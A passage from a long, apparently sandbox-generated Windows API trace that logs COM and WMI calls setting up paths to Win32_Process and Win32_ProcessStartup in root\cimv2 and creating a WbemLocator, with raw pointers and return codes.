ppvObject=0x1bb7dad8*=0x1bc3efc0) returned 0x0 [0135.282] WbemDefPath:IUnknown:Release (This=0x1bc41540) returned 0x0 [0135.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3efc0) returned 0x0 [0135.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0135.282] WbemDefPath:IUnknown:AddRef (This=0x1bc3efc0) returned 0x3 [0135.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0135.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0135.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc41580) returned 0x0 [0135.282] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc41580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.283] WbemDefPath:IUnknown:Release (This=0x1bc41580) returned 0x3 [0135.283] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0135.283] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0135.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0135.283] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x2 [0135.283] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x1 [0135.283] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0135.283] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0135.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3efc0) returned 0x0 [0135.283] WbemDefPath:IUnknown:AddRef (This=0x1bc3efc0) returned 0x3 [0135.283] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x2 [0135.283] WbemDefPath:IWbemPath:SetText (This=0x1bc3efc0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0135.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.283] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0135.283] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0135.283] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3efc0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.283] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3efc0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.283] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0135.283] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0135.284] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0135.284] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.285] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc415c0) returned 0x0 [0135.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc415c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0135.286] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc415c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3f080) returned 0x0 [0135.286] WbemDefPath:IUnknown:Release (This=0x1bc415c0) returned 0x0 [0135.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3f080) returned 0x0 [0135.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0135.286] WbemDefPath:IUnknown:AddRef (This=0x1bc3f080) returned 0x3 [0135.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0135.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0135.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc41600) returned 0x0 [0135.286] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc41600, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.286] WbemDefPath:IUnknown:Release (This=0x1bc41600) returned 0x3 [0135.287] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0135.287] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0135.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0135.287] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x2 [0135.287] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x1 [0135.287] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0135.287] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0135.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3f080) returned 0x0 [0135.287] WbemDefPath:IUnknown:AddRef (This=0x1bc3f080) returned 0x3 [0135.287] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x2 [0135.287] WbemDefPath:IWbemPath:SetText (This=0x1bc3f080, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f080, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f080, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f080, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f080, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f080, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f080, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f080, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0135.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0135.288] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0135.288] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.288] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0135.288] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0135.288] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0135.288] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.290] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc41640) returned 0x0 [0135.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41640, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0135.290] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41640, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3f140) returned 0x0 [0135.290] WbemDefPath:IUnknown:Release (This=0x1bc41640) returned 0x0 [0135.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3f140) returned 0x0 [0135.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0135.290] WbemDefPath:IUnknown:AddRef (This=0x1bc3f140) returned 0x3 [0135.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0135.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0135.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc41680) returned 0x0 [0135.291] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc41680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.291] WbemDefPath:IUnknown:Release (This=0x1bc41680) returned 0x3 [0135.291] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0135.291] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0135.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0135.291] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x2 [0135.291] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x1 [0135.291] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0135.291] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0135.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3f140) returned 0x0 [0135.291] WbemDefPath:IUnknown:AddRef (This=0x1bc3f140) returned 0x3 [0135.291] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x2 [0135.291] WbemDefPath:IWbemPath:SetText (This=0x1bc3f140, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0135.291] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f140, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.291] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0135.291] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.292] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0135.292] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0135.292] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0135.292] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.293] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc41780) returned 0x0 [0135.293] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41780, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0135.293] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc41780, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc417a0) returned 0x0 [0135.293] WbemLocator:IUnknown:Release (This=0x1bc41780) returned 0x0 [0135.293] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc417a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc417a0) returned 0x0 [0135.294] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc417a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0135.294] WbemLocator:IUnknown:AddRef (This=0x1bc417a0) returned 0x3 [0135.294] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc417a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0135.294] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc417a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0135.294] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc417a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0135.294] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0135.294] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0135.294] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc417a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0135.294] WbemLocator:IUnknown:Release (This=0x1bc417a0) returned 0x2 [0135.294] WbemLocator:IUnknown:Release (This=0x1bc417a0) returned 0x1 [0135.294] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0135.294] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0135.295] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc417a0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc417a0) returned 0x0 [0135.295] WbemLocator:IUnknown:AddRef (This=0x1bc417a0) returned 0x3 [0135.295] WbemLocator:IUnknown:Release (This=0x1bc417a0) returned 0x2 [0135.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f140, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.295] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0135.295] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.295] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, 